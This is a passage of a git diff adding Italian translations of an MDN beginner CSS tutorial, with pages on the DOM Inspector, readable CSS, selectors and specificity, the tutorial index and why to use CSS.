+<div style="width: 24em; color: #47c; white-space: pre; padding: 0 0 0 2em;">
+<p><span style="color: black;">P</span>
+├─<span style="color: black;">STRONG</span>
+│ │
+│ └─"<span style="color: black;">C</span>"
+│
+├─"<span style="color: black;">ascading</span>"
+│
+├─<span style="color: black;">STRONG</span>
+│ │
+│ └─"<span style="color: black;">S</span>"
+│
+├─"<span style="color: black;">tyle</span>"
+│
+├─<span style="color: black;">STRONG</span>
+│ │
+│ └─"<span style="color: black;">S</span>"
+│
+└─"<span style="color: black;">heets</span>"
+</p>
+</div>
+</td></tr></tbody></table>
+<p>Comprendere il DOM aiuta nel progettare, correggere e manutenere il CSS, poiché il DOM è il luogo in cui si incontrano CSS e contenuto del documento.
+</p>
+<h3 id="Azione:_Analizzare_un_DOM" name="Azione:_Analizzare_un_DOM"> Azione: Analizzare un DOM </h3>
+<p>Per analizzare il DOM occorre un software particolare.
+In questa guida si utilizza il <a href="it/DOM_Inspector">DOM Inspector</a> di Mozilla (o DOMi) per analizzare il DOM.
+</p><p>Apri il documento di esempio con il browser Mozilla.
+</p><p>Dalla barra dei menu del browser, seleziona Strumenti – DOM Inspector, oppure Strumenti – Sviluppo Web – DOM Inspector.
+</p>
+<table style="border: 1px solid #36b; background-color: #f4f4f4; padding: 1em;">
+<caption>Di più...
+</caption><tbody><tr>
+<td> Se il tuo browser Mozilla non possiede il DOMi, è sufficiente reinstallare il browser avendo cura di scegliere l'installazione dei componenti di sviluppo.
+<p>Se non hai intenzione di installare il DOMi, puoi saltare questa parte e andare direttamente alla prossima pagina.
+Saltare questa sezione non interferisce con la comprensione del resto della guida.
+</p>
+</td></tr></tbody></table>
+<p><br>
+Nel DOMi, espandi i nodi del tuo documento cliccando sulle loro freccette.
+</p><p><b>Nota: </b> Gli spazi nel file HTML potrebbero far sì che il DOM mostri alcuni nodi di testo vuoti, che possono essere ignorati.
+</p><p>Il risultato dovrebbe essere simile a questo, a seconda di quali nodi siano stati espansi:
+</p>
+<table style="border: 2px outset #36b; padding: 0 0 0 2em;">
+<tbody><tr>
+<td><div style="width: 30em; background-color: transparent; margin: 0px; border: 0px; padding: 0px; color: gray; white-space: pre;">
+<p>│
+<span style="font-size: 133%;">▼</span>╴<span style="color: black;">P</span>
+│ │
+│ <span style="font-size: 133%;">▼</span>╴<span style="color: black;">STRONG</span>
+│ │ └<span style="color: darkblue;">#text</span>
+│ ├╴<span style="color: darkblue;">#text</span>
+│ <span style="font-size: 133%;">▶</span>╴<span style="color: black;">STRONG</span>
+│ │
+</p>
+</div>
+</td></tr></tbody></table>
+<p>Quando si seleziona un nodo, nel pannello di destra del DOMi vengono mostrate informazioni ulteriori a proposito di quel nodo.
+Per esempio quando si seleziona un nodo di testo, il DOMi mostra il testo nel pannello di destra.
+</p><p>Quando viene selezionato il nodo di un elemento, il DOMi lo analizza e fornisce una grande quantità di informazioni nel pannello di destra. Le informazioni sullo stile non sono che una parte di quelle fornite.
+</p><p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe;">
+<caption>Esercizi
+</caption><tbody><tr>
+<td> Nel DOMi, fai clic su un nodo <small>STRONG</small>.
+<p>Utilizza il pannello di destra del DOMi per trovare in quale punto viene definito il colore rosso del nodo e dove il suo aspetto viene reso più marcato del testo normale.
+</p>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<h4 id="Cos.27altro.3F" name="Cos.27altro.3F"> Cos'altro? </h4>
+<p>Se hai avuto difficoltà a comprendere questa pagina, o sei hai dei commenti a proposito, utilizza questa pagina di <a>Discussione</a>.
+</p><p>Se hai eseguito gli esercizi, hai potuto vedere come le informazioni sullo stile siano presenti in diversi posti ed interagiscano per rendere lo stile finale dell'elemento.
+</p><p>La prossima pagina spiega meglio queste interazioni:
+<b><a href="it/Conoscere_i_CSS/Cascata_ed_ereditariet%c3%a0">Cascata ed ereditarietà</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/How_CSS_works", "fr": "fr/CSS/Premiers_pas/Fonctionnement_de_CSS", "ja": "ja/CSS/Getting_Started/How_CSS_works", "pl": "pl/CSS/Na_pocz\u0105tek/Jak_dzia\u0142a_CSS", "pt": "pt/CSS/Como_come\u00e7ar/Como_o_CSS_trabalha" } ) }}
diff --git a/files/it/conoscere_i_css/css_leggibili/index.html b/files/it/conoscere_i_css/css_leggibili/index.html
new file mode 100644
index 0000000000..e26e23cf8b
--- /dev/null
+++ b/files/it/conoscere_i_css/css_leggibili/index.html
@@ -0,0 +1,156 @@
+---
+title: CSS leggibili
+slug: Conoscere_i_CSS/CSS_leggibili
+tags:
+  - Conoscere_i_CSS
+translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable
+---
+<p>
+</p><p>In questa pagina si parla dello stile e della grammatica del linguaggio CSS stesso.
+</p><p>Impareremo a cambiare l'aspetto del file CSS di prova per renderlo più leggibile.
+</p>
+<h3 id="Informazioni:_CSS_leggibili" name="Informazioni:_CSS_leggibili"> Informazioni: CSS leggibili </h3>
+<p>E' possibile aggiungere spazi bianchi e commenti ai propri fogli di stile al fine di renderli più leggibili.
+Inoltre si possono raggruppare insieme i selettori quando viene applicata a diversi elementi la stessa regola di stile.
+</p>
+<h4 id="Spazi_bianchi" name="Spazi_bianchi"> Spazi bianchi </h4>
+<p>Spazi bianchi significa proprio spaziatura, tabulazione e nuove linee.
+Si possono aggiungere degli spazi bianchi per rendere i fogli di stile più leggibili.
+</p><p>Al momento il file CSS di prova ha una regola per ogni linea ed il minimo degli spazi bianchi. In un foglio di stile complesso questa struttura sarebbe molto difficile da decifrare, rendendo la manutenzione e la modifica del foglio di stile alquanto faticose.
+</p><p>La struttura da scegliere generalmente risponde alle preferenze personali dell'autore, ma in un progetto condiviso potrebbero esistere delle particolari convenzioni comuni.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Esempi
+</caption><tbody><tr>
+<td> Alcuni autori preferisono una struttura molto compatta (simile a quella utilizzata fin ora per il file di esempio), dividendo la linea solo quando diventa troppo lunga:
+<pre>
+.carrot {color: orange; text-decoration: underline; font-style: italic;}
+</pre>
+<p>Altri preferiscono il metodo "una proprietà per linea":
+</p>
+<div style="width: 45em;">
+<pre class="eval">.carrot
+{
+color: orange;
+text-decoration: underline;
+font-style: italic;
+}
+</pre>
+</div>
+<p>Altri ancora utilizzano l'indentazione—due, quattro spazi, o una tabulazione sono comuni:
+</p>
+<div style="width: 45em;">
+<pre class="eval">.carrot {
+  color: orange;
+  text-decoration: underline;
+  font-style: italic;
+}
+</pre>
+</div>
+<p>Alcuni autori addirittura preferiscono allineare tutto verticalmente (ma una struttura simile risulta difficile da mantenere):
+</p>
+<div style="width: 45em;">
+<pre class="eval">.carrot
+    {
+    color           : orange;
+    text-decoration : underline;
+    font-style      : italic;
+    }
+</pre>
+</div>
+<p>Alcuni usano la tabulazione. Altri solo gli spazi.
+</p>
+</td></tr></tbody></table>
+<h4 id="Commenti" name="Commenti"> Commenti </h4>
+<p>I commenti nei CSS iniziano con <code>/*</code> e terminano con <code>*/</code>.
+</p><p>I commenti possono essere utilizzati sia per scrivere un vero e proprio commento al foglio di stile, sia per <i>isolare</i> temporaneamente alcune parti di codice per scopi di test.
+</p><p>Per isolare una parte del foglio di stile è sufficiente porre quella parte all'interno di un commento. In tal modo il browser la ignorerà. Occorre prestare molta attenzione al punto di inizio e di fine del commento.
+Il resto del documento deve continuare ad avere una sintassi corretta.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Esempio
+</caption><tbody><tr>
+<td>Un commento vero e proprio:
+<div style="width: 45em;">
+<pre class="eval">/* stile per la lettere iniziale C del primo paragrafo */
+.carrot {
+  color:            orange;
+  text-decoration:  underline;
+  font-style:       italic;
+  }
+</pre>
+</div>
+<p>Un isolamento:
+</p>
+<div style="width: 45em;">
+<pre class="eval"><b>/*</b> isolo una porzione del codice
+.carrot {
+  color:            orange;
+  text-decoration:  underline;
+  font-style:       italic;
+  }
+ <b>*/</b>
+</pre>
+</div>
+</td></tr></tbody></table>
+<h4 id="Raggruppare_i_selettori" name="Raggruppare_i_selettori"> Raggruppare i selettori </h4>
+<p>Se molti elementi hanno lo stesso stile è possibile raggruppare i selettori creando un gruppo separato da virgole.
+La dichiarazione verrà applicata a tutti gli elementi selezionati.
+</p><p>Altrove nel foglio di stile sarà anche possibile trattare individualmente gli stessi selettori, per applicare delle regole di stile personalizzate.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Esempi
+</caption><tbody><tr>
+<td> Questa regola rende gli elementi <small>H1</small>, <small>H2</small> e <small>H3</small> dello stesso colore.
+<p>E' comodo indicare tale colore in un solo posto per rendere più agevole e veloce l'eventuale modifica.
+</p>
+<div style="width: 30em;">
+<pre class="eval">/* colore dei titoli */
+h1, h2, h3 {color: navy;}
+</pre>
+</div>
+</td></tr></tbody></table>
+<h3 id="Azione:_Aggiungere_commenti_e_migliorare_la_struttura" name="Azione:_Aggiungere_commenti_e_migliorare_la_struttura"> Azione: Aggiungere commenti e migliorare la struttura </h3>
+<p>Modifica il file CSS e assicurati che al suo interno contenga le seguenti regole (in qualsiasi ordine):
+</p>
+<div style="width: 30em;">
+<pre class="eval">strong {color: red;}
+.carrot {color: orange;}
+.spinach {color: green;}
+#first {font-style: italic;}
+p {color: blue;}
+</pre>
+</div>
+<p>Rendi il foglio di stile più leggibile strutturandolo nel modo che ritieni più logico ed aggiungendo spazi bianchi e commenti dove pare opportuno.
+</p><p>Salva il file ed aggiorna la finestra del browser per assicurarti che i cambiamenti effettuati non influiscano sul funzionamento del foglio di stile:
+</p>
+<table style="border: 2px outset #36b; padding: 1em;">
+<tbody><tr>
+<td style="font-style: italic; color: blue;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets
+</td></tr>
+<tr>
+<td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets
+</td></tr></tbody></table>
+<p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe;">
+<caption>Esercizi
+</caption><tbody><tr>
+<td> Isola una parte del foglio di stile, senza modificare nient'altro, per rendere la prima lettera del documento rossa:
+<table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+<tbody><tr>
+<td style="font-style: italic; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets
+</td></tr>
+<tr>
+<td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets
+</td></tr></tbody></table>
+<p>(Esiste più di un modo per ottenere questo risultato.)
+</p>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<h4 id="Cos.27altro.3F" name="Cos.27altro.3F"> Cos'altro? </h4>
+<p>Il foglio di stile dell'esempio utilizza solamente il testo corsivo (<i>italic</i>) o il testo sottolineato (<i>underline</i>).
+La prossima pagina della guida spiega ulteriori modi per specificare l'aspetto del testo in un documento:
+<b><a href="it/Conoscere_i_CSS/Stili_del_testo">Stili del testo</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/Readable_CSS", "fr": "fr/CSS/Premiers_pas/Des_CSS_lisibles", "pl": "pl/CSS/Na_pocz\u0105tek/Czytelny_CSS", "pt": "pt/CSS/Como_come\u00e7ar/CSS_leg\u00edvel" } ) }}
diff --git a/files/it/conoscere_i_css/i_selettori/index.html b/files/it/conoscere_i_css/i_selettori/index.html
new file mode 100644
index 0000000000..09c970edd2
--- /dev/null
+++ b/files/it/conoscere_i_css/i_selettori/index.html
@@ -0,0 +1,150 @@
+---
+title: I Selettori
+slug: Conoscere_i_CSS/I_Selettori
+tags:
+  - Conoscere_i_CSS
+translation_of: Learn/CSS/Building_blocks/Selectors
+---
+<p>
+</p><p>Questa pagina spiega come applicare gli stili in modo selettivo, e come i diversi tipi di selettori abbiano un diverso grado di prevalenza.
+</p><p>Verrà aggiunto qualche attributo ai tag nel documento di esempio, e questi attributi saranno utilizzati nel foglio di stile di esempio
+</p>
+<h3 id="Informazioni:_I_Selettori" name="Informazioni:_I_Selettori"> Informazioni: I Selettori </h3>
+<p>I CSS hanno una terminologia propria per descrivere il linguaggio CSS.
+Precedentemente in questa guida, abbiamo creato una stringa nel foglio di stile come questa:
+</p>
+<div style="width: 30em;"><pre>strong {color: red;}
+</pre></div>
+<p>Nella terminologia dei CSS l'intera stringa è una <i>regola</i> (rule). La regola inizia con <code>strong</code>, che è un selettore (selector). La sua funzione è quella di selezionare a quali elementi del DOM verrà applicato la regola.
+</p>
+<table style="border: 1px solid #36b; background-color: #f4f4f4; padding: 1em;">
+<caption>Di più...
+</caption><tbody><tr>
+<td> La parte contenuta all'interno delle parentesi graffe è la <i>dichiarazione</i> (declaration).
+<p>La parola chiave <code>color</code> è una <i>proprietà</i> (property), e <code>red</code> è un <i>valore</i>(value).
+</p><p>Il punto e virgola dopo la coppia proprietà-valore separa quella coppia da altre all'interno della stessa dichiarazione.
+</p><p>Questa guida si riferirà ai selettori del tipo di <code>strong</code> come a dei selettori <i>tag</i>.
+Le specifiche dei CSS vi si riferiscono invece come a dei selettori di <i>tipo</i>.
+</p>
+</td></tr></tbody></table>
+<p><br>
+Questa pagina della guida spiega in modo più approfondito i selettori che possono essere utilizzati nelle regole dei CSS.
+</p><p>In aggiunta al nome dei tag possono essere utilizzati anche i valori di alcuni attributi. Questa permette di usare i selettori in modo più specifico.
+</p><p>Esistono due attributi che hanno uno status speciale nei CSS: <code>class</code> e <code>id</code>.
+</p><p>L'attributo <code>class</code> di un tag serve ad assegnare quel tag a quella data classe. La scelta del nome della classe è a piacere dell'autore della classe.
+</p><p>Nel foglio di stile occorre digitare un punto "." prima del nome della classe quando viene usata come un selettore.
+</p><p>L'attributo <code>id</code> di un tag serve ad assegnare un id al tag. Anche in questo caso il nome è a piacere, ma deve essere unico per un dato documento.
+</p><p>Nel foglio di stile il selettore id si indica anteponendo il simbolo "cancelletto" (#).
+</p>
+<table style="border: 1px solid #36b; background-color: #ffe; padding: 1em;">
+<caption>Esempi
+</caption><tbody><tr>
+<td> Questo tag HTML ha sia un attributo <code>class</code> che uno <code>id</code>:
+<div style="width: 30em;"><pre>
+&lt;P class="key" id="principal"&gt;
+</pre></div>
+<p>L'id "<code>principal</code>" deve essere unica in tutto il documento ma gli altri tag nel documento potranno appartenere alla stessa classe ed avere quindi lo stesso valore dell'attributo <code>class</code>.
+</p><p>In un foglio di stile questa regola rende tutti gli elementi della classe <code>key</code> verdi.
+(Potrebbero anche non essere tutti elementi di tipo <small>P</small>.)
+</p>
+<div style="width: 30em;"><pre>
+.key {color: green;}
+</pre></div>
+<p>Questa regola rende l'unico elemento con l'id <code>principal</code> in grassetto:
+</p>
+<div style="width: 30em;"><pre>
+#principal {font-weight: bolder;}
+</pre></div>
+</td></tr></tbody></table>
+<p><br>
+Se più di una regola si applica allo stesso elemento specificando la stessa proprietà, avrà prevalenza quella con il selettore più specifico. Un selettore <code>id</code> è più specifico di un selettore <code>class</code>, che però è più specifico di un selettore di tipo "tag".
+</p>
+<table style="border: 1px solid #36b; background-color: #f4f4f4; padding: 1em;">
+<caption>Di più...
+</caption><tbody><tr>
+<td> I selettori possono anche essere combinati così da essere resi più specifici.
+<p>Per esempio, il selettore <code>.key</code> seleziona tutti gli elementi che hanno l'attributo <code>class</code> con il valore <code>key</code>. Il selettore <code>p.key</code> seleziona solo gli elementi P che abbiano il valore <code>key</code> all'attributo <code>class</code>.
+</p><p>Non si è limitati ai due attributi speciali, <code>class</code> e <code>id</code>. E' possibile specificare altri attributi utilizzando le parentesi quadre. Ad esempio, il selettore <code>{{ mediawiki.external('type=button') }}</code> seleziona tutti gli elementi che hanno l'attributo <code>type</code> con il valore <code>button</code> assegnato.
+</p><p>Più avanti in questa guida, la pagina sulle (<a href="it/Conoscere_i_CSS/Tabelle">Tabelle</a>) contiene informazioni sui selettori complessi basati sulle relazioni.
+</p><p>Per informazioni complete sui selettori, consulta "<a class="external" href="http://www.w3.org/TR/CSS21/selector.html">Selettori</a>" nelle specifiche CSS.
+</p>
+</td></tr></tbody></table>
+<p><br>
+Se un foglio di stile contiene regole in conflitto e con lo stesso grado di specificità, avrà prevalenza la regola che viene dopo nel foglio di stile.
+</p><p>Se si incontrano dei problemi con delle regole in conflitto si può provare a risolverli rendendo una delle due regole più specifica. Se ciò non è possibile, si può provare a spostare la regola che si intende far prevalere in fondo al foglio di stile, per far sì che abbia la priorità.
+</p>
+<h3 id="Azione:_Utilizzare_i_selettori_.22class.22_e_.22id.22" name="Azione:_Utilizzare_i_selettori_.22class.22_e_.22id.22"> Azione: Utilizzare i selettori "class" e "id" </h3>
+<p>Apri il file HTML e duplica il paragrafo facendo copia/incolla.
+Quindi aggiungi gli attributi di id e class al primo paragrafo, e solo l'id al secondo, come mostrato sotto. In alternativa si può copiare e incollare quanto sotto, sostituendo l'intero file:
+</p>
+<div style="width: 48em; color: gray;">
+<pre class="eval">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
+&lt;HTML&gt;
+  &lt;HEAD&gt;
+  &lt;TITLE&gt;Sample document&lt;/TITLE&gt;
+  &lt;LINK rel="stylesheet" type="text/css" href="style1.css"&gt;
+  &lt;/HEAD&gt;
+  &lt;BODY&gt;
+    &lt;P <strong style="color: black;">id="first"</strong>&gt;
+      &lt;STRONG <strong style="color: black;">class="carrot"</strong>&gt;C&lt;/STRONG&gt;ascading
+      &lt;STRONG <strong style="color: black;">class="spinach"</strong>&gt;S&lt;/STRONG&gt;tyle
+      &lt;STRONG <strong style="color: black;">class="spinach"</strong>&gt;S&lt;/STRONG&gt;heets
+    &lt;/P&gt;
+    <strong style="color: black;">&lt;P id="second"&gt;
+      &lt;STRONG&gt;C&lt;/STRONG&gt;ascading
+      &lt;STRONG&gt;S&lt;/STRONG&gt;tyle
+      &lt;STRONG&gt;S&lt;/STRONG&gt;heets
+    &lt;/P&gt;</strong>
+  &lt;/BODY&gt;
+&lt;/HTML&gt;
+</pre>
+</div>
+<p>Ora apri il file CSS. Sostituisci l'intero contenuto con:
+</p>
+<div style="width: 40em;"><pre>strong {color: red;}
+.carrot {color: orange;}
+.spinach {color: green;}
+#first {font-style: italic;}
+</pre></div>
+<p>Aggiorna il browser per vedere il risultato:
+</p>
+<table style="border: 2px outset #36b; padding: 1em;">
+<tbody><tr>
+<td style="font-style: italic;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets
+</td></tr>
+<tr>
+<td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets
+</td></tr></tbody></table>
+<p><br>
+Prova a cambiare l'ordine delle regole nel tuo file CSS: osserva come l'ordine non ha nessun effetto in questo caso.
+</p><p>I selettori di classe <code>.carrot</code> e <code>.spinach</code> hanno sempre la priorità su il selettore di tag <code>strong</code>.
+</p><p>Il selettore di id <code>#first</code> ha sempre la priorità sui selettori di classe e di tag.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
+<caption>Esercizi
+</caption><tbody><tr>
+<td> Senza modificare il file HTML, aggiungi un unica regola al file CSS che mantenga il colore delle lettere iniziali, ma renda il testo del secondo paragrafo di colore blu:
+<table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+<tbody><tr>
+<td style="font-style: italic;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets
+</td></tr>
+<tr>
+<td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets
+</td></tr></tbody></table>
+<p>Ora modifica la regola appena aggiunta (senza cambiare nient'altro) per rendere anche il testo del primo paragrafo di colore blu:
+</p>
+<table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+<tbody><tr>
+<td style="font-style: italic; color: blue;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets
+</td></tr>
+<tr>
+<td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<h4 id="Cos.27altro.3F" name="Cos.27altro.3F"> Cos'altro? </h4>
+<p>Se hai avuto difficoltà a comprendere questa pagina, o sei hai dei commenti a proposito, utilizza questa pagina di <a>Discussione</a>.
+</p><p>Il foglio di stile inizia ad avere un aspetto complicato. La prossima pagina descrive i modi per rendere i CSS più semplici da leggere:
+<b><a href="it/Conoscere_i_CSS/CSS_leggibili">CSS leggibili</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/Selectors", "fr": "fr/CSS/Premiers_pas/Les_s\u00e9lecteurs", "pl": "pl/CSS/Na_pocz\u0105tek/Selektory", "pt": "pt/CSS/Como_come\u00e7ar/Seletores" } ) }}
diff --git a/files/it/conoscere_i_css/index.html b/files/it/conoscere_i_css/index.html
new file mode 100644
index 0000000000..1575848fb2
--- /dev/null
+++ b/files/it/conoscere_i_css/index.html
@@ -0,0 +1,42 @@
+---
+title: Iniziare (Esercitazione di CSS)
+slug: Conoscere_i_CSS
+translation_of: Learn/CSS/First_steps
+---
+<p><span id="result_box" lang="it"><span class="hps">Rivolto a</span>i <span class="hps">principianti assoluti</span><span>,</span> <span class="hps">questa <strong>esercitazione di </strong></span><strong><span class="hps">CSS</span></strong> <span class="hps">per principianti</span> <span class="hps">presenta</span> il </span><a href="https://developer.mozilla.org/en-US/docs/CSS" title="/en-US/docs/CSS">Cascading Style Sheets</a><span id="result_box" lang="it"> <span class="atn hps">(</span><span>CSS)</span><span>.</span> <span class="hps">Guida l'utente</span> <span class="hps">attraverso le</span> <span class="hps">caratteristiche di base del linguaggio </span><span class="hps">con</span> <span class="hps">esempi pratici</span> <span class="hps">che possono essere provati</span> <span class="hps">sul proprio computer</span> <span class="hps">e illustra</span> <span class="hps">le caratteristiche standard</span> <span class="hps">di CSS</span> <span class="hps">che funzionano</span> <span class="hps">nei moderni browser</span><span class="hps">.</span></span></p>
+
+<p>Questa esercitazione è principalmente per principianti di CSS, ma va bene anche per chi ha qualche conoscenza base di CSS. Se sei un esperto di CSS qusta esercitazione probabilmente non è molto utile, la pagina principale di CSS elenca risorse più avanzate.</p>
+
+<nav class="fancyTOC"><a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/What_is_CSS" title="Chapter 'What is CSS' of the CSS tutorial">Cos'è CSS</a> <a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Why_use_CSS" title="Chapter 'Why use CSS' of the CSS tutorial">Perchè usare CSS</a> <a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/How_CSS_works" title="Chapter 'How CSS works' of the CSS tutorial">Come lavora CSS</a> <a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Cascading_and_inheritance" title="Chapter 'Cascading and inheritance' of the CSS tutorial">Cascata e ereditarietà</a> <a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Selectors" title="Chapter 'Selectors' of the CSS tutorial">Selettori</a><a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Readable_CSS" title="Chapter 'Readable_CSS' of the CSS tutorial"> CSS leggibili</a> <a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Text_styles" title="Chapter 'Text_styles' of the CSS tutorial">Stili di testo</a> <a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Color" title="Chapter 'Color' of the CSS tutorial">Colore</a> <a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Content" title="Chapter 'Content' of the CSS tutorial">Contenuto</a> <a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Lists" title="Chapter 'Lists' of the CSS tutorial">Elenchi</a> <a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Boxes" title="Chapter 'Boxes' of the CSS tutorial">Box</a> <a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Layout" title="Chapter 'Layout' of the CSS tutorial">Impaginazione</a> <a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Tables" title="Chapter 'Tables' of the CSS tutorial">Tabelle</a> <a class="button" href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Media" title="Chapter 'Media' of the CSS tutorial">Media</a></nav>
+
+<h3 id="Di_cosa_hai_bisogno_per_iniziare">Di cosa hai bisogno per iniziare?</h3>
+
+<p>Per ottenere il massimo da questa esercitazione, hai bisogno di un editor per file di testo e un moderno browser. Devi anche avere una minima conoscenza del loro utilizzo.</p>
+
+<p>Se non vuoi modificare i file, allora puoi anche solo leggere l'esercitazione e guardare le immagini, ma è il modo meno efficace per imparare.</p>
+
+<p><strong>Nota: </strong> CSS fornisce un modo di lavorare con il colore, quindi parte di questa esercitazione dipende dal colore. Puoi utilizzare queste parti dell'esercitazione semplicemente se ha un display a colori e una normale visione dei colori.</p>
+
+<h3 id="Come_utilizzare_questa_esercitazione">Come utilizzare questa esercitazione</h3>
+
+<p>Per utilizzare questa esercitazione, leggi le pagine attentamente e in sequenza. Se salti una pagina, ti potresti trovare in difficoltà nel compredere le pagine successive.</p>
+
+<p>In ogni pagina, puoi usare la sezione <em>Informazioni </em>per capire come funziona CSS. Usare la sezione <em>Azione</em> per provare ad utilizzare CSS sul proprio computer.</p>
+
+<p>Per mettere alla prova la propria comprensione, cogli la sfida alla fine di ogni pagina. Le soluzioni alle sfide sono linkate sotto le sfide stesse, quindi non si ha bisogno di guardarle se non lo si vuole.</p>
+
+<p>Per comprendere CSS in maggiore profondità, leggere le informazioni che si trovano nei box titolati <em>Maggiori dettagli</em>. Utilizzare i collegamenti presenti per trovare informazioni di riferimento su CSS.</p>
+
+<h2 id="Esercitazione_Parte_II">Esercitazione Parte II</h2>
+
+<p>Una seconda parte dell'esercitazione fornisce esempi che mostrano la visibilità di CSS utilizzato con altre tecnologie web e Mozilla</p>
+
+<ol>
+ <li><strong><a href="https://developer.mozilla.org/en/CSS/Getting_Started/JavaScript" title="en/CSS/Getting_Started/JavaScript">JavaScript</a></strong></li>
+ <li><strong><a href="https://developer.mozilla.org/en/CSS/Getting_Started/SVG_graphics" title="en/CSS/Getting_Started/SVG_graphics">Grafica SVG</a></strong></li>
+ <li><strong><a href="https://developer.mozilla.org/en/CSS/Getting_Started/XML_data" title="en/CSS/Getting_Started/XML_data">Dati XML</a></strong></li>
+ <li><strong><a href="https://developer.mozilla.org/en/CSS/Getting_Started/XBL_bindings" title="en/CSS/Getting_Started/XBL_bindings">Collegamento XBL</a></strong></li>
+ <li><strong><a href="https://developer.mozilla.org/en/CSS/Getting_Started/XUL_user_interfaces" title="en/CSS/Getting_Started/XUL_user_interfaces">Interfacce utente XUL</a></strong></li>
+</ol>
+
+<p> </p>
diff --git a/files/it/conoscere_i_css/perché_usare_i_css/index.html b/files/it/conoscere_i_css/perché_usare_i_css/index.html
new file mode 100644
index 0000000000..b7d304c91f
--- /dev/null
+++ b/files/it/conoscere_i_css/perché_usare_i_css/index.html
@@ -0,0 +1,106 @@
+---
+title: Perché usare i CSS
+slug: Conoscere_i_CSS/Perché_usare_i_CSS
+tags:
+  - Conoscere_i_CSS
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<p> </p>
+
+<p>Questa pagina spiega perché i documenti utilizzano i CSS. Utilizzerai i CSS per aggiungere un foglio di stile (stylesheet) al tuo documento di esempio.</p>
+
+<h3 id="Informazioni:_Perch.C3.A9_usare_i_CSS.3F" name="Informazioni:_Perch.C3.A9_usare_i_CSS.3F">Informazioni: Perché usare i CSS?</h3>
+
+<p>I CSS aiutano a mantenere le informazioni sul contenuto di un documento separate dai dettagli su come presentarlo. Le informazioni sulla presentazione del documento sono note come <em>stile</em>. Mantenere lo stile separato dal contenuto permette di:</p>
+
+<ul>
+ <li>Evitare duplicazioni</li>
+ <li>Rendere la modifica e la manutenzione più semplice</li>
+ <li>Applicare allo stesso contenuto stili diversi per diversi scopi</li>
+</ul>
+
+<table style="background-color: #fffff4; border: 1px solid #3366bb; margin-bottom: 1em; padding: 1em;">
+ <caption>Esempi</caption>
+ <tbody>
+  <tr>
+   <td>1) Il tuo sito web potrebbe avere migliaia di pagine che si assomigliano. Utilizzando i CSS si possono immagazzinare le informazioni sullo stile in dei file comuni che vengono condivisi da tutte le pagine.
+    <p>2) E' possibile creare differenti stili in modo che quando l'utente visualizza una pagina web, il browser carichi determinate informazioni sullo stile insieme al contenuto della pagina. Quando invece l'utente stampa la pagina web, venga fornito uno stile diverso che renda la pagina stampata più semplice da leggere.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>In linea di massima il linguaggio di markup è utilizzato per descrivere le informazioni sul contenuto di un documento, non il suo stile. I CSS, al contrario, definiscono lo stile, non il contenuto. (Più avanti nella guida vedremo qualche eccezione.)</p>
+
+<table style="background-color: #f4f4f4; border: 1px solid #3366bb; margin-bottom: 1em; padding: 1em;">
+ <caption>Di più...</caption>
+ <tbody>
+  <tr>
